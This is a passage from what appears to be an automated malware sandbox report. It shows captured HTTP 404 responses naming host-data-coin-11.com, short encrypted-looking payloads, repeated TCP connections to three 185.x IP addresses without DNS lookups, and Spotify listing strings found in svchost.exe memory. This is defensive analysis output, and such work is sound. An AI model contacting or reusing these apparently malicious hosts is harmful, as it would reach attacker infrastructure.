6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:54 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 01 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 14 Jan 2022 03:59:58 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveVary: Accept-EncodingData Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 03:59:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec ad 8e 70 bc 57 dd 43 de f7 22 85 25 e6 c3 9b 58 2c e0 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9GpWC"%X,c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 04:00:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: svchost.exe, 00000012.00000003.386418212.000001994C78A000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.facebook.com (Facebook)
Source: svchost.exe, 00000012.00000003.386418212.000001994C78A000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.twitter.com (Twitter)
Source: svchost.exe, 00000012.00000003.386418212.000001994C78A000.00000004.00000001.sdmp, svchost.exe, 00000012.00000003.386449355.000001994C79B000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free 